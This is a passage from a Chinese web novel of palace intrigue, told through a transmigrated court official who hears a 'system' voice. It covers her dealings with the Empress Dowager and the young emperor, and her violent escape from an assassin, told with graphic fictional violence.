宫女有一瞬间的慌乱,但还是硬着头皮说:“尚服局的人都看见云尚仪来过!” 此时王嬷嬷快步走过来,瞪着那宫女,语气不善:“把你知道的都说出来,若是有一句造假,你知道后果。” 宫女立刻朝着袁络仪磕了个头,转头瞪着云黛,说:“奴婢亲眼看到云尚仪进了尚服局,那日尚服大人也在,太后可以问尚服大人!” 王嬷嬷转头盯着云黛,问:“你可去过?” 云黛点头,说去过,在王嬷嬷要发怒前,问那宫女:“我什么时候去的尚服局?” 宫女身上底气立刻散了,支支吾吾说不出来。 王嬷嬷一看就知道这里头有隐情,再一审问,宫女老老实实说出来。 “约莫,约莫一月……” 云黛转身,迎上袁络仪犀利的目光,面不改色,睁眼说瞎话:“太后您听到了,臣在一月前去的尚服局,此间臣再未去过,如何能动手脚。” “况且臣对太后忠心耿耿,断不可能做出伤害太后的事情,请太后明察!” 云黛就是咬死了自己没干,也没人能发现,再说了,那天她随便挑的一件衣衫,袁络仪要穿必然会下水洗,都这么久没出事,怎么可能一个月了就出事了。 背后骤然一凉。 忽然想到一个可能,有人在借此次宴会,故意整袁络仪。一个月前的粉末怎么可能保留到现在。 宫女刚要说话,王嬷嬷直接掐住她下巴,逼问她:“你可知道污蔑女官是何罪?” 宫女吓得缩着身子,直哆嗦,不敢说话了。 “去,把陆尚服叫过来。” 云黛悄悄松了口气,闭上嘴,站在一边降低存在感。 这要是能查出来是她干的,那袁络仪就是女版狄仁杰,真牛。 陆尚服一来,直接跪下,将那日云黛去尚服局所说所做一一说出来,并没有任何疑点。 云黛眼观鼻鼻观心,在边上默不作声,让她们自己猜去。 看得出来袁络仪有怀疑过她,但找不到证据,不好罚她。将那宫女罚了后,重罚尚服局,甚至连身边的伺候的宫女也罚了。 却特地安慰了云黛。 云黛能感觉到离开时,陆尚服落在自己身上的视线,针扎一般,仿佛要刺穿她。 这事就这么揭过。云黛回去坐了会,想着袁络仪暗示自己的那句话。 “云尚仪可别忘了,哀家交代的事。” 反正袁络仪没起杀她的心思,再蹦跶会,而且她现在没心思跟骆明烛搞涩涩,得干正事。 “系统,你说苏丞相会见我吗?” 系统鼓励她:“一定会的!宿主你别太担心。” 它已经忘记了自己绑定云黛的初衷,成了云黛的话搭子。 云黛只希望能见一次,她要是真回不到原本的世界,在这里老是提心吊胆怕被砍头,搞得觉都睡不好。 第二天醒来,磨磨蹭蹭了会才下床,门一开,就见着小福子瞪着自己。 望了眼天,还早。 “你怎么来这么早?还一副我欠你钱的表情。”云黛打了个哈欠,出去洗漱。 小福子在她身后跟着,忍不住问她:“昨晚你没出什么事吧?” “没有啊,怎么了。” 小福子提着的心彻底松下来,没有再说,换了个话题:“今日陛下起得很早,已经看了半个时辰的书,你去了,知道怎么说吧?” “让我夸他?” 小福子连连点头。 “不要。” 云黛擦了脸,想到骆明烛昨天做的事情,没好气道:“那是他应该做的,我干嘛要夸。” 小福子哎呦一声,噼里啪啦说了一大堆:“陛下好不容易这么用功,你夸几句怎么了。且之前你不是夸过好几次吗?这次为何不愿意?” “那也得他做的事让我高兴,我才有的夸。” 云黛转身面对小福子,朝他一笑,随即板着脸,冷声说:“你家这个陛下,坏得很!” 小福子摸不着头脑,怎么又开始说陛下坏了? “你来就是为了和我说这个?” 小福子摇头,张望四周,等边上的宫女都走了,才压低声音说:“今日陛下有要事与你商议。” 云黛其实想出宫问问苏棠她爹能不能见她一面,一晚上过去,等消息等得急,不过干等着也没用,干脆去骆明烛那,正好她也有事要和他说。 “你等会,我吃个早饭。” 小福子立刻笑出了声,拉着她就走:“直接去陛下那,陛下已经为你准备了早膳,那可比这的好!” “瞧给你嘚瑟的。”云黛没能抵抗得住诱惑,跟着小福子就走。 说起来她也不是第一次在骆明烛那吃饭了,有好东西不吃是傻子。 但走到乾坤宫门口,她就开始打退堂鼓了,总觉得很别扭,又说不出来哪里别扭。 小福子见她不动,来问她怎么了,云黛摇了摇头,说什么,径直进了寝殿,里头光线明亮许多,转头一看,窗户都开着的。 骆明烛终于知道白天要把窗户开着,之前弄得漆黑一片,跟晚上一样。 矮桌上已经放了好几样早膳,但骆明烛人不在。 “陛下?” 云黛喊了一声,没人应,屏风后也没有动静。说实话她是不想去屏风后看人在不在,好几次都是在屏风后面发生了一系列不可描述之事,再去,怕是真要像书里那样被骆明烛扑倒了。 “陛下现下在书房,尚仪大人要去看看吗?” 云黛摆手,“不去,让他好好学。” 骆明烛不在,云黛直接坐下来吃早饭,还不忘问小福子:“陛下早膳可用了?” 小福子点头,说已经吃过了。 云黛就更没心理负担了,直接吃,抬头看到小福子欲言又止,朝他招手:“你也来吃?” “尚仪大人自己吃便是,奴才已经用过早膳。” 云黛也只是客气客气,美美吃了一顿,休息了会,刚想去看看骆明烛,来了个不速之客。 这次来的不是王嬷嬷,是袁络仪身边另外一个嬷嬷,看着比王嬷嬷面善,但眼神犀利得很,一眼看上去就知道不好惹。 “太后命奴婢来督促云尚仪,云尚仪怎的独自在陛下寝殿,怎么未去教陛下?” 云黛很无奈,怎么的,那天晚上喊王嬷嬷来不够,还得再喊个嬷嬷来现场表演? “陛下在书房呢。” 她露出得体的笑容:“嬷嬷要是着急,可现在去叫陛下过来。” 嬷嬷立刻冷了脸,斥责她:“太后将此等重要的事情交由你来做,你便该认真对待,让陛下一个人待在书房是什么意思?” 云黛心说我就是这个意思,你要是着急,你自己去教骆明烛。 早在嬷嬷来时,小福子便偷偷溜出去告诉骆明烛,书房内他特地添油加醋说了一遍,叫骆明烛过去瞧瞧。 桌面上摊开的纸张上满是他写的东西,本是以此来向云黛提要求,偏有人来打乱他的计划。 撂了笔,径直走出书房。 靠近寝殿,里头的声音传出来,不过云黛的声音听着,似乎没将这位嬷嬷放在眼里。 “臣说过了,臣有自己的教法,嬷嬷若是觉得臣教得不好,大可自己去教陛下。” “奴婢若是能教,便不会出现在云尚仪面前,太后给的期限快要到了,届时云尚仪再教不会,太后必然重罚。” 云黛气笑了,刚想跟嬷嬷再对冲几句,看到来人,脑子一发热,直接走过去,站到骆明烛面前,就勾着他的脖颈,把人拉下来,亲了一口。 随即朝震惊得瞪大双眼的嬷嬷挑衅:“嬷嬷您看,我这么做,您可还满意?” 气死你,气不死你! 第40章 这么做云黛是爽了,但代价很快就来。 嬷嬷去袁络仪面前告状,说她冒犯骆明烛,对骆明烛不敬,做出了那等伤风败俗之事,必须要严罚。 云黛被叫去永寿宫时,那嬷嬷正跪在地上,双目通红,一见她来,面露憎恨。 哦豁 ,这是怎么了,告状告得眼睛都红了,这是没告成功,反倒被骂了? “你可知,哀家叫你来,是为了何事?” 云黛摇头,不知道。 袁络仪盯着她看,不作声。王嬷嬷是个藏不住的,脸上表情把什么都说了,云黛一看就知道那嬷嬷应该是没告成功。 本来是怕袁络仪因为她亲了骆明烛罚她,站了好一会,忽然听她一声笑。 “你做的不错。” 云黛挺直的背脊松了,但面上还是那副惶恐的样子,袁络仪这么说绝对不是单纯觉得她做的对,只是因为这么做,相当于败坏骆明烛名声。 哪有女官敢这么对皇帝的。 “行了,你下去吧。”袁络仪轻轻一挥手,那嬷嬷还没来得及说什么,就被两宫女一左一右架着拖出去。 云黛悄咪咪看着,越发觉得袁络仪有鬼。 这要是按电视剧里演的,她这么对待骆明烛,早就被扒皮斩首了。 袁络仪到底图什么? “系统,书里袁络仪真的只是因为要保住皇家颜面,才要男主学那方面技巧的?” “是的宿主。” “逻辑说不通啊,骆明烛都是皇帝了,谁敢说他技术不好。” 云黛想着想着,思绪神游到骆明烛身上,想到了前几次他对自己做的。 “我怎么觉得他技术也不差啊,那天晚上吻得我——” 思绪被打断,袁络仪的声音传进脑中。 “哀家先前说过,给你三个月的时间,眼下还有两个月,陛下那边,你教得如何了?” 云黛这回说的没有上次那么流畅,之前是完全没有负担地瞎说,现在说不出来了。 那是真的和骆明烛有了亲密接触,一说出来突然就觉得羞耻,以至于袁络仪再说话时,语气明显不耐,勒令她继续教。 “若是两月后,陛下仍是未学会,”含着杀意的眼神针一般射向她,“你这颗脑袋,哀家可要亲手拿了。” 云黛确实有点害怕,硬着头皮骗了几句,袁络仪挥手让她走。 出了永寿宫,一边往乾坤宫走,一边问系统:“书里有没有说过袁络仪为什么让原身去教骆明烛?” “因为原身是尚仪,本来就负责礼仪教学。” “但也不是教这个啊!”云黛回头望了眼永寿宫高墙,百思不得其解,“她这么做,图什么呢?” 系统也不知道,“书里没有写。” 就一本小h文,你指望能写多少东西? “算了,不管她,还有两个月,等我见了苏丞相,要是能拉拢,看看能不能两个月创造奇迹。” 系统觉得可能性不大,“两个月谋反,你哪来的兵?” “那就是苏丞相要做的事了。”云黛又有些着急,“苏棠怎么还没有消息来?” 系统:“人家昨天才回去,哪能这么快。” “是哦。” 系统这话是上午说的,下午就被打了脸。 小福子来找她,说是苏棠递了请柬,请她去赴她的生辰宴。 “哎嘿,这么巧,她居然要过生日!” 苏棠的生辰宴在五日后,这几日她能好好准备准备,争取拿下苏丞相。 云黛为了这事日日想,连在骆明烛面前都心不在焉,问三句才回一句。 午后的阳光洒入书房内,她背着光而坐,左手撑着下巴,双眼没有焦距地望着前方。 少年太子就在她对面,应着她随口说的话摘抄书册上他认为比较难懂的话。这么一抄,半个时辰过去,她发呆了半个时辰。 骆明烛放下笔,抬眸望她。 能看得出来她最近心事重重,几次说话她都未曾听见,叫回神,不过一会,又开始神游。 她想做的事,他很清楚,但未曾明言。 布谋多年,不可能会为了突然出现的人打乱,况且他也想知道,她能做到哪一步。 不过在他这里,不可出神。 “黛姐姐有心事?” 云黛含糊说了句:“没事。” 少年天子看着她的目光未曾移开,反而凑近,“孤看黛姐姐,好似心情不大好。” 云黛在和系统说事,没意识到他在朝自己靠近,等回神一看时,骆明烛的脸在眼前放大,这张时时刻刻能迷得人移不开视线的脸,就这么明晃晃摆在自己面前。 呼吸一滞,她也难以移开目光。 “黛姐姐?” 云黛一个激灵,往后一仰,下意识抵着他的肩头推开他,嘟囔一句:“没事靠这么近干嘛。” 骆明烛顺着她的力道靠回椅背上,右手合拢,掌心朝下按在桌面上,看着她不自然地移开目光,缓缓勾了唇。 “黛姐姐方才在想什么,那么入迷。” 云黛瞄了他一眼,支支吾吾:“反正是好事。” 她没打算告诉骆明烛,这事也不是百分之百就能成功的,事情败露,还会牵连他。 伸手敲敲书册,摆出老师的架子:“你只要把这里头的治国之道学会了,其他的先别管。” 骆明烛顺着她的手看去,视线却没有落到她指的字上,反倒被她的手指吸引。指缝间满是黑渍,一瞧便知是墨水。 看来她最近为了见苏丞相,在苦练毛笔字。 骆明烛歪了头,忽然执起她的手,轻轻捏了她指尖,在她动手要缩回去时,牢牢抓住。 “黛姐姐最近在练字吗?沾了这么多墨。” 云黛尴尬,小声说:“我洗了好几遍了,洗不掉。” 话音刚落,就见他唤小福子端来水,她一用力,收回手,让他不用那么做。 “我回去再洗洗。” 小福子动作很快,端来了水,还有帕子。 当云黛看到骆明烛将摊开的书册全都收拢一边,将水盆放到中间时,有种自己像个小孩干错了事,被家人无奈兜底的荒谬感。 “不对啊,怎么感觉之前我和骆明烛相处模式不是这样的。” 自从上次骆明烛趁云黛醉酒亲她后,骆明烛对她再做出什么事,系统都见怪不怪了。 系统自己和自己蛐蛐:“有什么不对的,颠倒了而已。” “不用了,我自己来就好——” 云黛的声音淹没在骆明烛的动作中。 少年天子不容置疑地拾起她沾了墨的手,握住掌心边缘的关节,将她五指浸入水中。 有点凉。 “黛姐姐这么不小心。” 云黛尴尬笑了笑,视线一转,不经意间瞧见他垂下的眼帘,正专注看着自己的手。 这个角度看他,在他身上完全找不到一丝稚气,看着看着,云黛忽然有种自己不认识他的错觉。 怎么以前没有发现,他还有锐气的一面? 清水哗啦啦作响,云黛的心也跟着怦怦乱跳。 他的力道恰到好,捏着帕子一根根擦过她指尖。本就白皙的皮肤在透彻的清水浸泡下,更是白净。 擦到无名指时,骆明烛动作一顿,忽然撤了帕子,自己用手帮她擦。 动作很轻,两指捏着她指腹,很快松开,继续帮她清洗墨迹。 “黛姐姐经常练字吗?” 云黛被他的手法弄得又是羞耻又是惬意,别说,他捏得真舒服,一放松,戒备心就降低,回答他话脱口而出:“很久没练过了,有点生疏,才会沾到。” 上学的时候会练,上班了没有时间,而且也很少派的上用场,这项技能就搁置了。 “这样吗……” 骆明烛拿了干净的帕子,帮她擦干手,似乎为了方便自己擦,他直接扣住她手背,叠得整齐的帕子从她手背缓慢地滑到指尖。 明明是再正常不过的动作,云黛莫名其妙就觉得这动作里加了点别的意思,心一慌,匆匆抽出手,随意往衣衫上擦了两下,语速飞快:“好了好了,不用擦了。” 骆明烛将她局促的动作收进眼底,嗯了一声,不能逼得太紧,她惯会逃避,须得慢慢来。 帕子扔到盆里,让小福子来端走。 云黛待了会,浑身不自在,直接跑了。 她的反应骆明烛早已预料到,嘴角掀起,很快收敛,待她离开,冲着无人的寝殿低声说了句:“这几日保护好她。” 轻轻一声响,一道黑影离开。 苏棠生辰宴那日,云黛本想找借口出宫,没想到袁络仪特地叫她去参加苏棠生辰宴,还给了她几样首饰作为贺礼带去。 “我怎么觉得袁络仪也想拉拢苏丞相?” 系统也这么觉得:“要是她能得到苏丞相支持,就没人敢说她越过骆明烛掌权名不正言不顺了。” “你说得对。” 相府千金的生辰宴必然是要好好操办,京城但凡能叫得上名号的都来了,宴客厅内人声鼎沸,句句都是夸苏棠。 云黛过去时,苏棠身边的婢女来接她,将东西送给苏棠后,说了几句话,苏棠找了机会带她去见苏丞相。 绕过宴客厅,越走,见到的人越少,为避人耳目,会面地点特地设在外人无法进入的后院。 “父亲,云尚仪来了。” 一进去,便见一儒雅老者端坐于首位,见她来,微微一笑,起身道:“辛苦云尚仪来这么一趟。” 第一眼看去,苏丞相似乎是个很好相处的人。 云黛回以得体的笑,腰板挺直,精神紧绷,寒暄过后,苏棠离开,将空间留给他们。 “我也不绕弯子了,我是为陛下而来。”云黛早已经准备好措辞,也准备了东西。 苏相望着面前这个身板笔直,神情坚定的女子,缓缓点了头。 他脸上笑忽然退去,气势逼人:“你与陛下,是何关系?”—— 作者有话说:感谢家人们的雷和营养液[奶茶]【`xs.c`o`m 网】 40-49 第41章 云黛忽然不知该如何说自己与骆明烛之间关系。 他们既非正儿八经的师生关系,又非更进一步的恋人,某种程度上,连朋友都算不上。 所以云黛只选择说出那一句:“我是臣,他是君,臣自当为君效力。” 这的确是个很标准的答案,但不是苏丞相想要的。 但他没有再问,而是挥手,让她离开。 云黛不解,一句话都没说呢,就要赶她走? 不行,这要是走了,以后就没有机会了! 云黛大脑飞速运转,好在来之前准备了说辞,不至于卡壳什么都说不出来。 “苏丞相当真要看着袁太后把持朝政,架空陛下权力,是件极其危险的事吗?” 苏丞相却笑:“这权力不论握在谁手中,只要能保天下安宁,百姓安生,便是好的,我只需效忠明君,其余一概与我无关。” 云黛之前打听过,此人刚正不阿,中立,袁络仪似乎拉拢过他几次,但次次失败。正如他话里所说,他只效忠明君,谁能将国家治理得国泰明安,他便是谁的臣子。 如今的袁络仪确实没有明显的过失,苏丞相没有理由答应她去与袁络仪为敌。 但她有别的理由。 她将这些日子骆明烛的努力说给苏丞相听,并且暗示了袁络仪对骆明烛这位正统皇帝的不尊重。 一看苏丞相的表情,显然他没有被说动。 把字画一拿出来,苏丞相冷了脸,只好收回去。 云黛知道没那么容易说动他,最后只说了一句:“她非良善。” 能想出教自己儿子这种东西的母亲,能是什么好人?不管原书怎么写袁络仪的,以她穿过来所见到的,袁络仪就是对骆明烛抱有恶念。 云黛出了屋子,仰头看天空,积云遮挡太阳,一片阴翳。 “系统,你说我是不是把路走杂了?要是按着原书剧情走,与骆明烛踉踉跄跄,然后被袁络仪刀了,就不用想这么多烦心事。” 系统安慰她:“你要是按原书剧情走,那就不是你了。” “也是。”云黛掉头往宴客厅走,“我要是按原书剧情走,那我不得把骆明烛吃干抹净,哈哈哈哈哈。” 整理好心情,走到宴客厅那,本来想和苏棠说她再待一会就走,但没找着人,正好宴席要开了,她就打算待在这吃席,都是好酒好菜,不吃白不吃。 丞相府的人知道她身份,客气招待她,她找了个角落,自己吃自己的,结果这一吃,离开的时候天都快黑了。 找了机会和苏棠说一声,苏棠见她表情,就知道她所求未成,却也没有多说。 “日后有机会,我再请你一聚。” 云黛笑着点了头。 上了马车,车夫驾驶马车回宫。 这几日云黛都在想着怎么说服苏丞相,好几晚都睡得很晚,一上马车,困意袭上来,靠着车厢打瞌睡。 马车缓缓行驶,远离丞相府。街上行人越来越少,夜幕降临,马车驶出灯火通明的街道,被远处不见底的黑暗吞没。 马车一个颠簸,惊醒了云黛。 “还没到吗?” 揉了揉眼睛,云黛愣了会,眼前一片漆黑。 “天黑了?” 眼前几乎伸手不见五指,天黑得彻底,显然已经行驶了很长一段时间,皇宫到丞相府的距离没有这么长,按理说应该早就到了。 “系统,我明天见到骆明烛该怎么说呢?” 系统回她:“实话实说就好。” 云黛没回系统,掀开帘子打算透透气,一掀开,望了一团黑,什么都看不见,连间屋子都没有。 “系统,这不对吧……” 她又不是没有出过宫,京城哪处不是房屋林立,怎么可能连间屋子都没有。 缓缓转头看向车夫,今夜无月,只能依稀看出车夫还在驾驶,周围除了马车行驶,没有其他一点声音。 云黛不动声色地缩了回去,一颗心剧烈不安地跳动,从来没有想过遭遇暗杀这种事会落在自己身上。 “有人要杀我。” “宿主你别怕!”系统安慰她:“大不了就是一死!” 云黛深吸一口气,没用的系统,都这个时候了,好听的话都不会说。 门在车夫那边,根本没法从那出去,两边的窗口太小,钻不出去。 现在唯一的办法就是在车夫停下的时候,趁机逃跑,但这么做逃生的机会很渺茫。 到底是谁,居然要杀她! 除了袁络仪还有谁! “系统,现在——” 系统已经知道她要说什么,抢先道:“你要是死了,得去地府排队,我没有人脉能让你插队投胎。” 云黛扯了扯嘴角,无声苦笑。 这下好了,骆明烛她还没吃到,就要比原书剧情更早地死去了。 环顾四周,马车里什么东西都没有,她带来的字画送给苏棠了,现下空无一物,根本没东西给她当做武器防备。 云黛正绞尽脑汁怎么逃跑时,马车倏地停下。 她的心也随之停跳了一瞬。 双眼紧紧盯着前方,呼吸都轻到几不可查,双手攥紧成拳,在想那么一丝可以挣脱的可能性。 一道粗犷的男声传进来,云黛听得背后发寒。 “云尚仪该谢谢太后,若非太后仁慈,也不会留你到今日。” 这句话如同一棒砸在云黛脑袋上,脑中嗡嗡直响。 她猜的果然是对的,袁络仪想要她的命。 之前做出那副宽容的样,根本是让她放松戒备,袁络仪早就起了杀心。 不受控制的棋子,怎么可能会留着在眼前蹦跶。 但云黛不想死。 准确来说,她不想死在荒郊野岭,不想莫名其妙成了袁络仪手里的亡魂。 将心底的恐慌强制压下去,极力克制自己的声线平稳,出声道:“我想知道,太后为何要杀我。” 那人冷笑一声,“你不必知道。” “至少也得让我死个明白。”云黛嗓子发紧,双眼直直盯着帘子,生怕这个时候那人进来给自己一刀,“我自问一直尽心尽力帮太后办事,太后前日还召见我,怎么可能要杀我?” “那自然是因为,你做了不应该做的事。” 云黛心猛地一跳,立刻想到那日宴会与苏棠接触,再到今日苏棠的生日宴,所以袁络仪是知道她接近苏丞相,但应该不知道她与苏丞相说了什么,恐怕是因为疑心深重,所以才会要除了她。 “云尚仪,请下马车。” 云 黛只觉得荒谬,这人要杀她,还这么礼貌请她下马车。 这一刻脑中思绪高速运转,一手摸上发间发簪,刚要拔下来,忽地想到那人可能会防备自己,只将发簪往外拔了些,对系统说了句话。 “这次我要是死了,没机会再穿了吧。” 系统声音有点难受:“是的宿主。” “好。” 云黛起身,往外走。 刚一掀开帘子,就见一魁梧黑影杵着,吓了她一跳。 那人跳下马车,转过身来盯着她,似乎一点都不怕她会跑。 这荒郊野岭的,她一女子,能跑到哪去? 那人阴恻恻笑着,出口的声音更加阴森:“真是可惜云尚仪这张脸了,若是你未曾引得太后起了杀心,或许我还能请太后将你赏给我,你还能再快活快活。” 云黛一阵恶寒,掀开帘子的右手往上抬,出口讽刺:“就凭你这样的,给我提鞋都不配。” 刚说完,那人劈手就要拉她下去。 云黛双眼瞪大,右手一把拔下发簪,朝下一跳,借着下冲的力道握着发簪就往他脖颈上扎。 可惜这人是个会武的,身子一侧,没扎中他脖颈,只刺进了他肩膀位置。 只听一声痛呼,云黛落地后当即松手,掉头就跑,边跑边脱外裳。 今天参加苏棠生辰宴会,还要劝说苏丞相,穿的比较隆重,外裳一脱,瞬间轻快。 她已经很久没有跑步,原身一直住在宫里,身体素质一般,跑了几步就喘。但求生的本能让她一直奔跑,一步都不敢停。 身后已经传来重重脚步声,还有那人的谩骂,骂得难听极了。 迎面而来的风砸在脸上,周围除了脚步与谩骂声,只有她自己的呼吸声,一声一声,急促喘息。 云黛不得不张开嘴大口呼吸,逐渐没了力气,而身后那人追得越来越紧,甚至有他就在身后,一伸手就能抓到自己的错觉。 不能死在这,绝对不能! 可惜,她终究是敌不过会武的人,那人一个飞扑,直接将她撞倒在地。 云黛被他拖着双腿,往他那拉。 她死死抠着地面,指甲缝里都是泥土,膈得她生疼。 “没想到你还挺能折腾,太后杀你果然没错,你这样的祸患留着,必然会坏太后大计!” 云黛心一沉,右手慌忙摸发间,唯一一支发簪已经被她用了,现在根本没有东西可以用。 她使劲蹬脚,一脚踹在那人脑袋上,又是一阵咒骂,双腿被他死死扣住,一点都挣脱不了。 “今日你别想跑。” 那人将她拖到面前,跪在她身侧,用她刺入他肩膀的那根发簪,狠狠往她脖颈刺。 云黛呼吸都停了,身体技能极大调动,扒着泥土地往边上躲,那发簪贴着她颈侧深深扎入土中,没入一半。 后颈火辣辣地疼,被发簪硬生生戳出伤口,瞬间流血。 那人在拔发簪,云黛根本顾不上后颈的伤,伸手就去抠那人的眼珠子。 她是头一次这么疯狂,脑子里只有求生,眼里只有那人的眼睛。没有簪子,那就以手为武器。 云黛整个人都是慌的,她的手在抖,但抠那人眼珠子的动作很准,根本顾及不到会不会真的把人抓瞎。 对于她现在所处的情况来说,他瞎,她才能安全。 第42章 夜晚的寒冷悄然降临,云黛却感觉不到一丝寒意,争斗间浑身冒汗,注意力全在那人身上。 十指在那人脸上使劲抠刮,此刻庆幸自己没有将指甲剪了,倒成了最趁手的武器。 云黛紧紧咬牙,不管手里碰到什么,使劲抠。指尖似乎碰到了湿润的东西,那人的咒骂随之而来。 “你个贱货,还想敢抠老子眼珠子——” 知道自己抠对了地方,云黛两个拇指死死掐着他的脸,手指继续往那窟窿里刺。 就算是死,她也要把这人弄瞎弄残! 指甲缝里全都是温热黏稠的液体,顺着手指流到指缝里堆积,蔓延到手背,只觉得恶心。 那人忽然松开她,云黛只感觉到一阵罡风砸下来,紧接着啪的一声响,后脑撞在地面,大脑轰鸣,脸颊火辣辣地疼。 “痛死老子了,贱货!” 那人一巴掌打到她脸上,使劲一扯,挣脱开来,捂着自己双眼,嘶声吼叫。 云黛还没反应过来,脑子里乱糟糟的,脸上痛感侵占大脑,根本反应不过来。 系统立刻提醒她:“宿主快跑!” 这道在云黛脑海里存在多日的声音,终于起到了作用,唤醒云黛。 那一刻身体求生的本能驱使她爬起来,还没站稳,人已经开始跑。被那人一巴掌甩得差点脑震荡,站起来时一阵眩晕,险些摔倒。 撑着地面松了力道,站起来后直接跑。从来没有哪一刻像现在这样,只想活着,只想逃跑。 粗重的呼吸在夜色中尤为明显,系统的声音和耳鸣声在脑中嗡嗡响,云黛什么都听不清楚。 “贱货,还敢跑!” 那人的嘶吼声追了上来,云黛身子一哆嗦,双腿发软。根本不敢往后看,只能一个劲地往前跑。 那人双眼泡在血里,只能眯着眼去看,依稀能看到云黛的身影,当即撒开脚去追。 “还想跑,老子不杀了你,也要把你弄残废!” 云黛听到了他的怒吼,脚步更快。 系统只能通过云黛的视线看到周围情况,现在它看不到云黛身后情况,只能干着急。 云黛跑得嗓子眼都在冒烟,幸亏这地方没有乱七八糟的断枝,跑起来不会被绊到。 但她的体力很快不支,身后的脚步声越来越近,浑身紧绷,所有注意力都往身后聚集,那人就像是一只猛兽,嘶吼着朝她扑过来,被他逮住,只有死路一条。 云黛没办法再保持原来的速度,脚已经抬不起来,胸腔着了火一样火辣辣地疼。 此刻她忽然冒出个荒谬的念头,这次要是死不了,她就往死里整袁络仪。 有本事让她死里逃生。 那人已经追上来,一把抓住她头发,使劲一扯。 密密麻麻的痛从头皮上传来,云黛一个趔趄,被拽得脑袋往后,脖颈被一杆子打到一般,差点窒息。 “贱货,再跑啊。” 那人一把掐住云黛脖颈,冲着要她命而来。 发髻被扯散,脸颊涨红发紫,逐渐呼吸不过来。 云黛只能用自己的双手争取生存的机会,但那人显然做了防备,钳制住她双手,狞笑:“你不是很会跑吗,再跑啊。” “差点给你跑了!” 云黛呼吸不过来,挣扎的力气越来越小,脑子里的声音也越来越弱。 “宿主,坚持住……” 云黛觉得自己坚持不下去了,恍惚间看到了熟悉的脸,正对着自己笑着,声音是她熟悉的温柔。 有时候云黛在想,累死累活当牛做马,最后什么都没得到,还要天天被骂,这样的日子有什么意思呢?但除了这样活着,似乎没有别的路可以走了。 她既做不到轰轰烈烈活一场,也做不到对一切压力责骂做到心如止水,天天发牢骚,再这么缩在龟壳里,日子也就这么过去了。 也就导致,加班死在工位上,也没有人在意,最多唏嘘几声,“她怎么就累死了。” 云黛睁着双眼,看到漆黑的夜空,一颗星辰也无,就像是她没有一点盼头的前半生。 而今后半生,也要没了。 她这一生,活得真没意思。 云黛缓缓闭上了眼,所有的挣扎在绝对的力量面前,无济于事,只有死路一条,只有无尽的黑暗。 意识彻底散去。 那人见她不动,松开了她,随手将她扔到地上。 “臭婊子,让你这么痛快地死了真是便宜你了。”那人盯着地上的女子,忽地放肆笑出了声,“宫里的婢女都是没□□的,让老子快活快活,你也不算白来这人世一趟。” 那人还没说完就开始脱裤子,眼睛上流出来的血刚干涸,黏在脸上,他一笑,看起来分外狰狞。 漆黑的夜空中似乎有一道亮光闪过,那人刚弯腰,身体一震,动作顿住,往地上倾倒。 即将砸上云黛时,一只脚踹在他两腿之间,一脚将他踹得老远。 马儿嘶鸣,划破黑夜的宁静。 焦急赶来的人呼吸还未平稳,单膝跪在云黛身侧,抱起她,搂着她的脑袋靠在自己怀里,手指探她的鼻息。 探到那微弱的呼吸时,肉眼可见地松了口气。 骆明烛掐着她的人中,轻轻拍打她的脸,触碰到的却是发烫的脸颊,以及很不正常的肌肤,她的脸肿得很高,能感觉到脸上被狠狠打过的指印。 浑身戾气暴涨,他转头看向那被自己踹飞数米远的男人,抱着云黛起身,一步步走过去。 那人捂着自己的命根子翻了个身,正要咒骂,听到一声森冷质问,“你打了她?” 这声音听着耳熟,那人却没仔细想,仗着自己背后有袁络仪做靠山,直接骂:“就是老子打的,臭婊子还敢——” 他的话被哭嚎取代。 骆明烛面无表情抬脚,一脚跺在他脸上,狠狠踩着他脑袋,压得嵌入了泥土里,转动脚踝碾压,做这些时,他特地换了个姿势抱着云黛,一手托着她的臀部,一手环着她的腰,把她胳膊架在自己肩膀上。 鼻尖嗅着她身上独有的味道,骆明烛看着男人的眼里没有一丝感情,只有无尽的杀意。 “你真该死啊……” 他似乎是在低喃,听起来一点威慑力都没有,但只有被他踩在脚下的男人知道,他的力气有多大。 根本没有反抗的机会。 男人双手去抬骆明烛的脚,反而被他一抬脚,精准地踩在手腕上,只听咔嚓一声,什么东西断了。 男人发出杀猪般的嚎叫。 骆明烛歪头,看向失去意识的云黛,缓缓开口,问她:“他的声音太难听了,黛姐姐不喜欢听吧?” 没有人回答他的问题,他等了会,忽然笑着点了头。 “黛姐姐说不想听,那孤就让他闭嘴。” 男人惊恐地瞪大了眼,本来被刺伤的眼因为这一动作刺痛,痛醒了他。 终于反应过来为什么会觉得这声音熟悉,这就是骆明烛的声音! “你,你不是个弱智吗——你怎么——” 骆明烛转头看他,唇角的笑瞬间消失,“被你发现了。” 他像个天真的稚童一般笑起来,那是云黛初次见到他时,他流露出的,标准的能迷惑人的笑容。 “那你只能死了。” 男人倒吸一口冷气,惊恐万分,立刻用袁络仪来威胁他,“若是我没有回去,太后就知道我出了事,马上就会查到你!” “孤不在乎。” 骆明烛收紧了怀抱,怀里的人没有一点动静,他只觉得烦躁。 黛姐姐不能出事。 谁也不能越过他,伤害云黛。 “谁让你,伤了她。” 骆明烛并不想给他一个痛快,抬起脚,往后退了一步。 男人以为自己的话起了效果,威慑到他,刚要再说几句,身体传来几乎与死亡同等的阵痛。 他一顿一顿地去看自己下半身,眼睛看不清,身体却能感受得一清二楚。 那一处炸开了一般,腿都合不拢。 骆明烛抬起脚,在他身上碾了几下,又在地面擦了好几下,才满意。 再未给男人一个眼神,抱着怀里的人,转身就走。 “将他扒了衣裳,丢进蛇坑里。” 暗卫悄无声息把男人拖走,片刻后有人驾着马车而来,数名暗卫在他面前跪下。 骆明烛一句话都没说,将云黛抱上了马车。 女子的发丝凌乱,外袍早就不见了踪影,脸上红肿,一边大一边小,看着很是凄惨。 骆明烛静静凝视了她好一会,才出声:“黛姐姐不该来这一趟的。” 他俯下身,埋在她颈窝里,满是依恋。 “黛姐姐为孤做了这么多,孤该如何报答你呢?” 双臂忽然紧紧禁锢住她,在她脖颈里蹭了好几下,感受她温热的肌肤。 “那孤先帮黛姐姐报仇,好吗?” 等了会,他自问自答:“黛姐姐不说话,就是答应了。” 他笑起来,尤为眷恋地蹭着她脖颈肌肤,鼻尖蹭到她耳后,深深呼吸。 骆明烛松开了云黛,捏着她散乱的发丝别到她耳后,轻声说:“黛姐姐好好睡一觉吧。” 他下了马车,翻滚戾气的眼眸扫过眼前暗卫,声音没有丝毫情绪浮动,偏偏暗卫们心惊肉跳。 “孤先前怎么与你们说的?” “我等失职,任凭责罚。” 骆明烛扫过他们,丢下一句:“你们也一并去蛇坑。” “谢陛下恕罪!” 